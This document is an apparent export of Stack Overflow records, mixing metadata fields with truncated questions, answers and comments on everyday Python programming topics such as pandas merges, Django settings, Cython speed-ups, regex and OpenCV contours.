has body: I am trying to open files and derive 2 columns(1 row for each) from multiple spreadsheets and then merging them to a base spreadsheet.So, the base dataframe (derived from a spreadsheet, from which I only needed 3 columns) is like this : Model | Roadmap | Family a 08/12/17 ROW b 08/14/17 MACRO c 08/15/17 CONN d 08/27/17 MACRO The dataframes from the multiple spreadsheets(the model names are the spreadsheet names and they have multiple dates for each gate which i am deriving in multiple dataframes) and have this format : df1 (part1 - the dataframe derived from the spreadsheet with model a for gate 0 ): Model | Gate 0 a 02/01/18 df1 (Dataframe derived from the spreadsheet with model a for gate1): Model | Gate 1 a 03/01/18 df2 (part1): Model | Gate 0 b 04/23/18 df2 (part1): Model | Gate 1 b 05/23/18 The output it produces is : Model | Roadmap | Family | Gate 0_x | Gate 1_x | gate 0_y | Gate 1_y a 08/12/17 ROW 02/01/18 03/01/18 b 08/14/17 MACRO 04/23/18 05/23/18 c 08/15/17 CONN d 08/27/17 MACRO the output i want : Model | Roadmap | Family | Gate 0 | Gate 1 a 08/12/17 ROW 02/01/18 03/01/18 b 08/14/17 MACRO 04/23/18 05/23/18 .. The following is the code i am using: import glob import pandas as pd import re import ntpath extension = 'xlsx' d='Final.xlsx' c = 'Roadmap.xlsx' dflist = [] z=[] result = [i for i in glob.glob('*.{}'.format(extension))] for b in result: if b==c: base_file = pd.read_excel(b, sheet_name='Antennas', header=7) ind1 = base_file.set_index('Model') ind1 = base_file'Model', 'Roadmap', 'Family' #print(ind1) ind1.to_excel('Final.xlsx') file3 = pd.read_excel('Final.xlsx') file3= file3.replace(r'[,\"\']','', regex=True).replace(r'\s*([^\s]+)\s*', r'\1', regex=True) for a in result: if a == c: base_file = pd.read_excel(a, sheet_name='Antennas', header=7) ind1 = base_file.set_index('Model') ind1 = base_file'Model', 'Roadmap', 'Family' ind1.to_excel('Final.xlsx') elif a != d: gates = ['Gate 0 Complete','Gate 1 Complete'] file1 = pd.read_excel('Final.xlsx…
favorite count: 0
tagged with: excel

http://stackoverflow.com/comment/81781806
comment on: http://stackoverflow.com/q/47382359
type: QuestionComment
score: 0
has text: @tink You missread my answer: I stop everything immediately, than (re)boot after 5 minutes! This is very close than request!
type: Comment

http://stackoverflow.com/q/47369168
has answer: http://stackoverflow.com/a/47369233
has body: So the code before behaved properly before my "while type(number) is not int:" loop, but now when the user presses 0, instead of generating the sum of the list, it just keeps looping. Would really appreciate some help with this! Thank you! List = [] pro = 1 while(pro is not 0): number = False while type(number) is not int: try: number = int(input("Please enter a number: ")) List.append(number) except ValueError: print("Please only enter integer values.") if(number == 0): Sum = 0 for i in List: Sum = i + Sum ans = 0 print(Sum)
answer count: 4
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47369226
type: UnansweredQuestion
tagged with: python
has title: I am trying to get my program to take only integers and stop when the user presses 0
linked to: http://stackoverflow.com/q/19984168
has comment: http://stackoverflow.com/comment/81690728
has comment: http://stackoverflow.com/comment/81690842
has answer: http://stackoverflow.com/a/47369276
has comment: http://stackoverflow.com/comment/81690957
score: 0
has comment: http://stackoverflow.com/comment/81690743
has comment: http://stackoverflow.com/comment/81690691
has comment: http://stackoverflow.com/comment/81690790
has comment: http://stackoverflow.com/comment/81690752
has answer: http://stackoverflow.com/a/47369263
has comment: http://stackoverflow.com/comment/81690814

http://stackoverflow.com/comment/116595485
type: Comment
has text: No, you dont need to inverse the matrix , just do 1-similarity (for all i,j) ; when you form the matrix.
comment on: http://stackoverflow.com/a/47333211
type: AnswerComment
score: 0

http://stackoverflow.com/a/47372966
has comment: http://stackoverflow.com/comment/81699182
has comment: http://stackoverflow.com/comment/81699097
has body: It does not render your page since you are just sending an XmlHttpRequest, that alone will not have your browser rendering the response. Your JavaScript does send a POST request to the URL specified as you can see from your logs, but since you are not doing anything with the response to that request, nothing happens. This will work... &lt;form action="/pastetest" method="post"&gt; ...because with submitting your HTML form, your browser is not just sending a POST request to the URL in action, it will also change location to that URL and render the response it is getting. You'll notice that when submitting the HTML form, the URL in your browser location bar does change, which it doesn't when sending your XmlHttpRequest. Edit, summarizing from comments: In both cases, the server will execute the functions image_upload and confirm, in other words from the server perspective, they are equivalent, the main difference here is that with the XmlHttpRequest method, the response is not automatically rendered by the browser. As for the goal described in the question, having the browser render the result page in both cases, we have to think about what happened in the XmlHttpRequest case once we have our response: the server already executed functions image_upload and confirm our rendered template from the confirm function is in our response In case we do not mind the confirm function being executed twice, we could simply point window.location of our browser to the responseURL of the request. The function will definitely be executed twice when we do this though, it has already been executed once in order to generate the response we got, and having our browser go to the responseURL (in our case, that will be the URL corresponding to the confirm function), it will execute again. If we wanted to prevent this, we would need another solution though. One option would be to inform the server that we do not want a redirect to the rendered response page when doing our initial upload, but …
score: 1
has comment: http://stackoverflow.com/comment/81716729
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81699399
upvote count: 1
has comment: http://stackoverflow.com/comment/81715460
has comment: http://stackoverflow.com/comment/81698852
has comment: http://stackoverflow.com/comment/81698838
has comment: http://stackoverflow.com/comment/81698885
accepted answer of: http://stackoverflow.com/q/47372745
answers question: http://stackoverflow.com/q/47372745
type: Answer
has comment: http://stackoverflow.com/comment/81698998

http://stackoverflow.com/a/47229671
upvote count: 31
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/132808070
has comment: http://stackoverflow.com/comment/114708407
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47228488
has comment: http://stackoverflow.com/comment/81409914
score: 31
answers question: http://stackoverflow.com/q/47228488
has body: Doc on ALLOWED_HOSTS. In short, in production environment where you have DEBUG=FALSE, your Django application will not serve in a domain or subdomain that is not specified in ALLOWED_HOSTS. It's a whitelist of trusted domains you can serve your backend app on. In other words, these are the domains your backend app can be accessed from. CORS on the other hand stands for Cross-Origin Resource Sharing. I'm assuming you are asking because you are also doing Django Rest Framework. CORS has nothing to do with which domain you serve your backend app on. Instead, it basically allows your frontend apps, like the multiple reactjs apps you mentioned, to interact with your APIs without having to deploy all of them on the same domain. django-cors-header is the recommended package for configuring CORS.

http://stackoverflow.com/comment/81713346
has text: Solved the problem. Thanks a lot!
comment on: http://stackoverflow.com/a/47380316
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81641173
type: Comment
type: QuestionComment
has text: okay start with pyimagesearch blog, and the move on to machinelearning mastery those are best site for beginners as well as pro
score: 0
comment on: http://stackoverflow.com/q/47328264

http://stackoverflow.com/comment/81462663
comment on: http://stackoverflow.com/q/47255899
score: 1
type: Comment
type: QuestionComment
has text: You're not calling your functions. Unless you call them in your code, nothing will run at all.

http://stackoverflow.com/comment/81459674
type: QuestionComment
score: 0
has text: Humour us, post your best attempt.
comment on: http://stackoverflow.com/q/47254467
type: Comment

http://stackoverflow.com/comment/81479925
type: QuestionComment
comment on: http://stackoverflow.com/q/47262118
score: 0
type: Comment
has text: So I am having a difficult time grasping what you want to do here! can you explain a bit more clearly

http://stackoverflow.com/comment/81671743
type: AnswerComment
has text: Check the code line `with PdfPages('multipage_pdf.pdf') as pdf:` it has the name in it. If you change `multipage_pdf.pdf` into `myfile_2017_11_17.pdf` it should fine.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47358979

http://stackoverflow.com/q/47250233
tagged with: python
has title: How to use "Universal dependencies, enhanced" parser from stanford NLP in nltk?
tagged with: nlp
linked to: http://stackoverflow.com/q/32153627
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/81477657
answer count: 1
has answer: http://stackoverflow.com/a/58326759
has body: I am able to use universal dependencies parser from Stanford in NLTK, But is there any way to use universal dependencies, enhanced in NLTK? As shown here Stanford Parser Thanks
tagged with: parsing
favorite count: 0
type: Question
score: 3
tagged with: stanford-nlp
tagged with: nltk
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81454366

http://stackoverflow.com/q/47250276
has title: Sort files in the folder
accepted answer: http://stackoverflow.com/a/47250337
has comment: http://stackoverflow.com/comment/81450770
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47250337
score: 0
answer count: 1
type: Question
tagged with: python
tagged with: sorting
has body: I need to clean up my archive folder such that only top two files sorted by type of release and the version id are retained. I broke the file name into a list and tried with an operator.itemgetter but sorting multiple times is a costly operation. Example: 1.0.0-release-735586.zip 1.0.0-release-447088.zip 1.0.0-release-436044.zip 1.0.1-patch-480506.zip 1.0.1-patch-968125.zip 1.0.1-patch-532147.zip should be 1.0.0-release-735586.zip 1.0.0-release-447088.zip 1.0.1-patch-968125.zip 1.0.1-patch-532147.zip

http://stackoverflow.com/comment/81650008
has text: I think the [second answer here](https://stackoverflow.com/questions/40514139/check-if-an-item-is-in-a-nested-list) will do what you want. Using the any keyword also has the advantage of working with lists of any length, rather than explicitly slicing the list like you do above.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47348982

http://stackoverflow.com/comment/81545614
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47253732
type: AnswerComment
has text: @Ellest Yes to the first question. I didn't understand your second question, because there's no allocation/deallocation going on here.

http://stackoverflow.com/comment/81492754
comment on: http://stackoverflow.com/a/47270901
type: Comment
score: 0
type: AnswerComment
has text: Well, Dockerfile will be seen by docker hub watcher and according to it an image would be built on a remote server.

http://stackoverflow.com/a/47271488
downvote count: 0
answers question: http://stackoverflow.com/q/47270004
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81499393
has body: This isn't that hard to do actually. You can use np.vectorize. f = lambda x, y: x.test(y) v = np.vectorize(f) df['third'] = v(df['first'], df['second']) df first second third 0 &lt;__main__.rec object at 0x1038b1ef0&gt; a1 a1 1 &lt;__main__.rec1 object at 0x1038b1c18&gt; b1 b1b1b1
type: Answer
accepted answer of: http://stackoverflow.com/q/47270004
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/81500780

http://stackoverflow.com/a/47236293
score: 0
type: Answer
has body: If you have a modern Python version you can use f-string &gt;&gt;&gt; ','.join(f'{i}{j}' for i, j in zip('abcde', range(1,6))) 'a1,b2,c3,d4,e5' On older versions format can be used &gt;&gt;&gt; ','.join('{}{}'.format(*p) for p in zip('abcde', range(1,6))) 'a1,b2,c3,d4,e5'
answers question: http://stackoverflow.com/q/47236128

http://stackoverflow.com/a/47248298
has comment: http://stackoverflow.com/comment/81533755
has body: I can think of one easy method off the top of my head that doesn't involve incrementally updating the image: on one blank image, draw a long line extending from point one in the direction of point two, and then AND the resulting image with the an image of the single contour drawn (filled). This will stop the line at the end of the contour. Then you can either use that mask to draw the line, or get the minimum/maximum x, y coords if you want the coordinates of the line. To walk through an example, first we'll find the contour and draw it on a blank image: contours = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)[1] contour_img = np.zeros_like(img) cv2.fillPoly(contour_img, contours, 255) Then, if we have the points p1 and p2, find the direction they're heading in and find a point far off in that distance and draw that line on a new blank image (here I used a distance of 1000 pixels from p1): p1 = (250, 250) p2 = (235, 210) theta = np.arctan2(p1[1]-p2[1], p1[0]-p2[0]) endpt_x = int(p1[0] - 1000*np.cos(theta)) endpt_y = int(p1[1] - 1000*np.sin(theta)) line_img = np.zeros_like(img) cv2.line(line_img, (p1[0], p1[1]), (endpt_x, endpt_y), 255, 2) Then simply cv2.bitwise_and() the two images together contour_line_img = cv2.bitwise_and(line_img, contour_img) Here is an image showing the points, the line extending past the contour, and the line breaking off at the contour. Edit: Note that this will only work if your contours are convex. If there is any concavity and the line goes through that concave part, it will continue to draw on the other side of it. For e.g. in Silencer's answer, if both points were inside one of the ear and pointed towards the other ear, you'd want the contour to stop once it hit an edge, but mine will continue to draw on the other ear. I think an iterative method like Silencer's is the best for the general case, but I like the simplicity of this method if you know you have convex contours or if your points will be in a place to not ha…
downvote count: 1
answers question: http://stackoverflow.com/q/47246540
has comment: http://stackoverflow.com/comment/81551014
type: Answer
accepted answer of: http://stackoverflow.com/q/47246540
upvote count: 2
has comment: http://stackoverflow.com/comment/81557065
score: 1
type: AcceptedAnswer

http://stackoverflow.com/q/47281020
tagged with: rest
linked to: http://stackoverflow.com/q/3889769
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/14377050
has comment: http://stackoverflow.com/comment/81512612
tagged with: python
duplicate of: http://stackoverflow.com/q/3889769
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81514090
has body: I'm django 1.11.7 with rest framework. I've been trying to access POST request headers but when I print it I get 'None'. I'm sending a request using the application postman. I've added a key-value pair in the Headers section and the request code looks like this: POST /create_user HTTP/1.1 Host: localhost:8000 Content-Type: application/json key1: value1 Cache-Control: no-cache Postman-Token: # Postman token { "username": "abcdefgh@123" } In my django app, my views.py file looks like this: from django.shortcuts import render from rest_framework.views import APIView from rest_framework.response import Response from rest_framework import status import json # Create your views here. class CreateUser(APIView): def post(self, request, format='json'): try: request_data = json.loads(request.body.decode(encoding='UTF-8')) print 'Header data:', request.POST.get('key1') The 'request' variable is of type Request (Django Rest Framework object). There is no exception raised. So how do I access the POST 'key1' header?
upvote count: 1
has title: Adding and accessing headers to HTTP POST request in python
downvote count: 1
has comment: http://stackoverflow.com/comment/81512346
tagged with: django
tagged with: django-rest-framework
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81512649

http://stackoverflow.com/q/47240626
has comment: http://stackoverflow.com/comment/81432232
score: 0
has title: Python - Printing user input on screen
answer count: 1
has answer: http://stackoverflow.com/a/47240703
upvote count: 1
linked to: http://stackoverflow.com/q/4915361
downvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81431576
has body: This is a basic simple Python question.. I want to take the name as an input from user and print it on screen. I am using PyCharm Community Edition 2017.2.3 IDE. My code is as follows: name=input("Enter your name ") print(name) I am getting the below error. Should be a very simple fix.. but not getting it... Any suggestions.... I am new to Python..... C:\Python27\python.exe C:/Users/sourav/PycharmProjects/python_project/dummy1.py Enter your name Sourav Traceback (most recent call last): File "C:/Users/sourav/PycharmProjects/python_project/dummy1.py", line 1, in &lt;module&gt; name=input("Enter your name ") File "&lt;string&gt;", line 1, in &lt;module&gt; NameError: name 'Sourav' is not defined Process finished with exit code 1
tagged with: python-2.7

http://stackoverflow.com/comment/128754443
comment on: http://stackoverflow.com/a/50202099
type: AnswerComment
has text: In Pandas 1.4.2, `_Rolling_and_Expanding` and `_flex_binary_moment` do not exist.
score: 0
type: Comment

http://stackoverflow.com/a/47235139
downvote count: 0
has body: numpy cumsum is likely the most adapted to what you are looking for: import numpy data = numpy.array([ndx**2 for ndx in range(10)]) numpy.cumsum(data) output: array([ 0, 1, 5, 14, 30, 55, 91, 140, 204, 285])
upvote count: 1
answers question: http://stackoverflow.com/q/47235104
score: 1
type: Answer

http://stackoverflow.com/comment/81678353
score: 0
comment on: http://stackoverflow.com/q/47362723
has text: This is not a coding services website. Do you own work and when you run into a more specific issue, post it here.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81532146
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47290744
has text: A simpler explanation can be found in [this question](https://stackoverflow.com/questions/15377050/pass-list-to-function-by-value) rather than the one posted.
score: 0

http://stackoverflow.com/comment/81443929
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47246483
has text: i got it to work using my own configuration, but now i have four answer boxes, and two of them actually give the right response. How do i fix this four box problem.
type: Comment

http://stackoverflow.com/q/47289132
has answer: http://stackoverflow.com/a/47289251
tagged with: pandas
type: AnsweredQuestion
upvote count: 3
answer count: 2
downvote count: 2
has title: Basic Python: How do I normalize a data series?
score: 1
has comment: http://stackoverflow.com/comment/81528750
possible better answer: http://stackoverflow.com/a/47289249
favorite count: 0
has comment: http://stackoverflow.com/comment/81528726
has answer: http://stackoverflow.com/a/47289249
has body: I have a dataframe with 5 columns indexed by date. I would like to normalize these data series by the first item in their lists. A B C D E 1/1/2017 3 4 1 2 3 1/2/2017 7 4 4 3 3 1/3/2017 2 5 5 4 3 1/4/2017 2 5 3 6 3 1/5/2017 2 2 2 6 6 for example, in column A, i would like to divided everything by 3, the first item on the list. Same for column B to E. thanks for your help!
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/81528745
accepted answer: http://stackoverflow.com/a/47289251

http://stackoverflow.com/comment/81612671
type: QuestionComment
comment on: http://stackoverflow.com/q/47330891
score: 0
has text: Please set a proper title for your question which actually describes your problem in short.
type: Comment

http://stackoverflow.com/comment/81699739
type: QuestionComment
comment on: http://stackoverflow.com/q/47373419
has text: Then `slack_token = os.environ["xoxb-restofapitoken"]` should be `slack_token = os.environ["SLACK_BOT_TOKEN"]` This is exactly what I explained in the previous comment.
score: 0
type: Comment

http://stackoverflow.com/a/47380594
has comment: http://stackoverflow.com/comment/84659354
has comment: http://stackoverflow.com/comment/81772288
has comment: http://stackoverflow.com/comment/81756343
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81727796
has comment: http://stackoverflow.com/comment/81716152
has comment: http://stackoverflow.com/comment/81717872
accepted answer of: http://stackoverflow.com/q/47377115
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/81791602
answers question: http://stackoverflow.com/q/47377115
type: Answer
has comment: http://stackoverflow.com/comment/81766643
has comment: http://stackoverflow.com/comment/81717860
has body: If you wanna to be as fast as C you should not use list with python-integers inside but an array.array. It is possible to get a speed-up of around 140 for your python+list code by using cython+array.array. Here are some ideas how to make your code faster with cython. As benchmark I choose a list with 1000 elements (big enough and cache-misses have no effects yet): import random l=[random.randint(0,15) for _ in range(1000)] As baseline, your python-implementation with list: def packx(it): n = len(it)//2 r = [0]*n for i in range(n): r[i] = (it[i*2]%16)&lt;&lt;4 | it[i*2+1]%16 return r %timeit packx(l) 143 µs ± 1.95 µs per loop (mean ± std. dev. of 7 runs, 10000 loops each) By the way, I use % instead of //, which is probably what you want, otherwise you would get only 0s as result (only lower bits have data in your description). After cythonizing the same function (with %%cython-magic) we get a speed-up of around 2: %timeit packx(l) 77.6 µs ± 1.28 µs per loop (mean ± std. dev. of 7 runs, 10000 loops each) Let's look at the html produced by option -a, we see the following for the line corresponding to the for-loop: ..... __pyx_t_2 = PyNumber_Multiply(__pyx_v_i, __pyx_int_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = PyObject_GetItem(__pyx_v_it, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyInt_RemainderObjC(__pyx_t_5, __pyx_int_16, 16, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) ... Py_NumberMultiply means that we use slow python-multiplication, Pyx_DECREF- all temporaries are slow python-objects. We need to change that! Let's pass not a list but an array.array of bytes to our function and return an array.array of bytes back. Lists have full fledged python objects inside, array.arraythe lowly raw c-data which is faster: %%cython from cpython cimport array def cy_apackx(char[::1] it): cdef uns…

http://stackoverflow.com/q/47369501
accepted answer: http://stackoverflow.com/a/47381112
linked to: http://stackoverflow.com/q/9081928
tagged with: lnk
has answer: http://stackoverflow.com/a/47381112
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has title: change the icon of a windows shortcut .lnk file using python
score: 5
has body: I want to change the icon of a .lnk file after I have created it. This is my main code so far: import win32com.client shell = win32com.client.Dispatch("WScript.Shell") shortcut = shell.CreateShortCut("shortcut.lnk") shortcut.Targetpath = "C:\\Users\Benjie\AppData\Local\Programs\Python\Python36\python.exe" shortcut.save() This creates a shortcut with the python icon, but I want to change it to a different icon, if possible, to the icon of a different .exe file. How can I do this? I'd preferably use one of the windows api librarys, but if this is not possible, an external library would work aswell. Thanks
tagged with: windows
upvote count: 5
tagged with: icons
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/comment/81588349
has text: Could it be that names[2] is an empty string? And what is `END` ?
type: QuestionComment
comment on: http://stackoverflow.com/q/47318556
score: 0
type: Comment

http://stackoverflow.com/comment/81495019
type: QuestionComment
has text: provide a `date_parser` argument?
comment on: http://stackoverflow.com/q/47272045
score: 0
type: Comment

http://stackoverflow.com/q/47341959
tagged with: relative-import
possible better answer: http://stackoverflow.com/a/47342023
favorite count: 0
type: Question
has title: How to do a relative import from the parent directory?
has answer: http://stackoverflow.com/a/47342023
answer count: 2
has comment: http://stackoverflow.com/comment/81636327
linked to: http://stackoverflow.com/q/14132789
downvote count: 0
has answer: http://stackoverflow.com/a/47342221
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81636483
has comment: http://stackoverflow.com/comment/81636312
has body: I have searched this and found many answers, all of which tell me to do exactly what I am doing, here is my directory structure: app/ +-- __init__.py +-- app_manager.py +-- app_gui/ | +-- __init__.py | +-- app_gui.py in app_gui.py I have: import tkinter as tk from tkinter import ttk from app_manager import AppManager in app manager: class AppManager(): def __init__(self): """ default constructor for app manager """ In Visual Code, it actually resolves this to an auto completion, which tells me that at least Visual Code sees it as correctly done. However, if I run this I get the following error: ModuleNotFoundError: No Module named "app_manager" Edit Full stack trace when changing to from app.app_manager import AppManager: Traceback (most recent call last): File ".\app_gui\app_gui.py", line 4, in &lt;module&gt; from app_manager import AppManager ModuleNotFoundError: No module named 'app_manager'
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47342221
score: 1

http://stackoverflow.com/comment/81609037
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47328798
has text: @Euler_Salter So go read the answers to that question and find out
score: 0

http://stackoverflow.com/comment/81609850
has text: Or, don't use anything at all, since the floating point value is the coordinate value.
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47329387

http://stackoverflow.com/q/47276327
accepted answer: http://stackoverflow.com/a/47296602
tagged with: ctypes
tagged with: swig
linked to: http://stackoverflow.com/q/58610333
has answer: http://stackoverflow.com/a/47296602
tagged with: arrays
upvote count: 1
has comment: http://stackoverflow.com/comment/81526659
tagged with: python
downvote count: 1
linked to: http://stackoverflow.com/q/73159159
linked to: http://stackoverflow.com/q/11656532
type: AnsweredQuestion
score: 0
has title: Pass str as an int array to a Python C extended function (extended using SWIG)
answer count: 1
tagged with: http://stackoverflow.com/tag/c
has body: How can I pass a str value (containing 3000 {'0', '1'} bytes) obtained using python code as an argument to a python c extended function (extended using SWIG) which requires int * (fixed length int array) as an input argument? My code is such: int *exposekey(int *bits) { int a[1000]; for (int j=2000; j &lt; 3000; j++) { a[j - 2000] = bits[j]; } return a; } What I've tried was to use ctypes (see below code): import ctypes ldpc = ctypes.cdll.LoadLibrary('./_ldpc.so') arr = (ctypes.c_int * 3072)(&lt;mentioned below&gt;) ldpc.exposekey(arr) with 3072 {0, 1} entered in the position. Python returns syntax error : more than 255 arguments. This still doesn't help me to pass assigned str value instead of the initialized ctypes int array. Other suggestion included using SWIG typemaps but how would that work for converting a str into int * ? Thanks in advance.
favorite count: 0
type: Question

http://stackoverflow.com/comment/81468166
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47258648
has text: This seems to be more of a homework assignment. Please take some time to read the help page, especially the sections named ["What topics can I ask about here?"](http://stackoverflow.com/help/on-topic) and ["What types of questions should I avoid asking?"](http://stackoverflow.com/help/dont-ask). And more importantly, please read [the Stack Overflow question checklist](http://meta.stackexchange.com/q/156810/204922).

http://stackoverflow.com/comment/110044766
type: Comment
type: AnswerComment
has text: Is one of these options better than the other? Is there a difference?
comment on: http://stackoverflow.com/a/47263093
score: 0

http://stackoverflow.com/comment/81694995
comment on: http://stackoverflow.com/a/47370817
type: AnswerComment
has text: @Divakar I would play with hypo-versions of `a` and `b` and then infer performance-concerns using time-complexity considerations/calculations. Won't you?
score: 0
type: Comment

http://stackoverflow.com/q/47297712
tagged with: python
tagged with: regex-group
tagged with: regex
has comment: http://stackoverflow.com/comment/81547892
upvote count: 3
has comment: http://stackoverflow.com/comment/81549114
answer count: 2
has comment: http://stackoverflow.com/comment/81549156
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81549119
downvote count: 0
has comment: http://stackoverflow.com/comment/81547056
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47299545
has comment: http://stackoverflow.com/comment/81547013
has title: Python Regex: how to parse repeated groups in a string?
score: 3
has body: I want to match a pattern with a string including pure numbers, such as '2324235235980980' with a pattern like as described below: The pattern is '2-6-8-7-4', in which the pattern starts with 2, transit to 6, either self-loop at 6 or transit to 8, then it could go back and forth between 6 and 8, could self-loop at 8, or could transit to 7. And the same thing for 7. One more thing for 7 is 7-8-6-8-7 could happen. Finally, 7 could reach 4, once it reaches 4, the pattern is done. During the process, if it reaches out to other points, then it has to start with 2 again to be counted. I use import re re.findall(r'(2((6+8+)+)7)', test_string) the output includes '2666686888668887', but when I add 4, I don't know the syntax to compile this. Has anyone an idea? Thanks a lot!
has comment: http://stackoverflow.com/comment/81630531
has answer: http://stackoverflow.com/a/47299804

http://stackoverflow.com/q/47334528
has comment: http://stackoverflow.com/comment/81622136
downvote count: 0
linked to: http://stackoverflow.com/q/18485098
has comment: http://stackoverflow.com/comment/90177895
favorite count: 0
linked to: http://stackoverflow.com/q/323972
type: Question
has comment: http://stackoverflow.com/comment/81621206
linked to: http://stackoverflow.com/q/18018033
upvote count: 2
tagged with: python-multithreading
type: UnansweredQuestion
has title: Stopping a Thread Gracefully
tagged with: python
has body: I was doing some reading(1,2,3) because I wanted to learn how to stop a thread properly. I came up with a trivial example: import time import threading def counting_numbers(stopper): for num in range(1,20): if not stopper.is_set(): print(num) stopper.wait(2) stop = threading.Event() write = threading.Thread(target=counting_numbers, args=(stop,)) write.start() time.sleep(5) stop.set() Suppose if this was a GUI application and I had a cancel button, would the stop.set() go inside the cancel button handler allowing the user to hit cancel and stop the count?
answer count: 0
score: 2

http://stackoverflow.com/comment/120467879
has text: @variable You can (and should) write a short program to test that...
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47380580
type: Comment

http://stackoverflow.com/comment/81461889
type: QuestionComment
comment on: http://stackoverflow.com/q/47255495
score: 0
has text: No 8 in final_list?
type: Comment

http://stackoverflow.com/comment/81466250
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47257249
has text: Please read ALL the answers to the linked question. Specifically, this one states why what you originally tried does not work: https://stackoverflow.com/a/44506022/1399279.
type: Comment

http://stackoverflow.com/comment/81693951
has text: added some explanatory notes
comment on: http://stackoverflow.com/a/47365849
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81535053
has text: it gives me this error ( TypeError: Required argument 'flags' (pos 2) not found )
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47292230

http://stackoverflow.com/comment/81700916
score: 0
comment on: http://stackoverflow.com/a/47367402
has text: @JPdL thanks for accepting my answer even though I feel in its then state it didn't fully deserve it. I've now added a bit of chunking to address your valid concerns.
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47276911
has comment: http://stackoverflow.com/comment/81508095
accepted answer of: http://stackoverflow.com/q/47258292
has comment: http://stackoverflow.com/comment/81505179
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81522777
has body: Your question, imho, suffered a lot from the description and parameter-names, but i think i'm getting now what you want to achieve. I simplified it a bit and present some code with two approaches, the good one and the bad one. The good one: optimizing one variable is done by using optimizers for a single variable (minimize_scalar)! The bad one: using any multivariate-optimizer (minimize). One probably could talk ages about how to use scipy's optimizers, but i won't do that. I will just say: follow the docs! The most important thing (here some excerpt from the minimize-docs): The callable is called as method(fun, x0, args, **kwargs, **options) where kwargs corresponds to any other parameters passed to minimize (such as callback, hess, etc.), except the options dict, which has its contents also passed as method parameters pair by pair. Also, if jac has been passed as a bool type, jac and fun are mangled so that fun returns just the function values and jac is converted to a function returning the Jacobian. The method shall return an OptimizeResult object. This means: P is your first parameter in your function you give to scipy's optimizer (in both cases). Everything else, you use either by python's scope rules (variable available for our functions) or by using args. Code: import numpy as np from scipy.optimize import minimize, minimize_scalar np.random.seed(1) # make this demo deterministic # Let's define some random-data and use names people can understand! f_x = np.random.rand(10) f_y = np.arange(5.,55,5) c1, c2, c3 = 2, 1.5, 0.321 # Simple loss-function def loss(P, c1, c2, c3, f_x, f_y): modelY = f_x*c1 + f_x*c2*P + c3 # prediction (vector) return np.linalg.norm(f_y - modelY, 1) # l1-loss (scalar) # GOOD APPROACH: minimize_scalar result = minimize_scalar(loss, args=(c1, c2, c3, f_x, f_y)) p_at_minimum = result.x # i'm a scalar! print('minimize_scalar result: ', p_at_minimum) # BAD APPROACH: minimize (multivariate) -&gt; need guess / initial value! result = minimize(…
has comment: http://stackoverflow.com/comment/81637928
answers question: http://stackoverflow.com/q/47258292
has comment: http://stackoverflow.com/comment/81505167
has comment: http://stackoverflow.com/comment/81505289
score: 3
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/q/47295760
tagged with: python
tagged with: keras
upvote count: 6
tagged with: keras-layer
favorite count: 0
type: Question
answer count: 0
has title: Access target inside a custom layer in Keras
type: UnansweredQuestion
has body: I am writing a custom layer in Keras and I wonder if there is a way to access the target values inside the layer. class Custom(Layer): def __init__(self, **kwargs): super(Custom, self).__init__(**kwargs) def build(self, input_shape): super(Custom, self).build(input_shape) def call(self, x): result = K.dot(x, self.kernel) targets = ??? return result def compute_output_shape(self, input_shape): return (input_shape[0], self.output_dim) Now what I have done previously is to use a placeholder to store and update the target values at the begining of each batch. But now I am using a generator and it seems that inside a generator I cannot call the set_value function of Keras so I cant update my "target placeholder" Is there any neat way to access the target value in the custom layer?
downvote count: 0
score: 6

http://stackoverflow.com/a/47351894
answers question: http://stackoverflow.com/q/47351265
upvote count: 1
score: 1
type: Answer
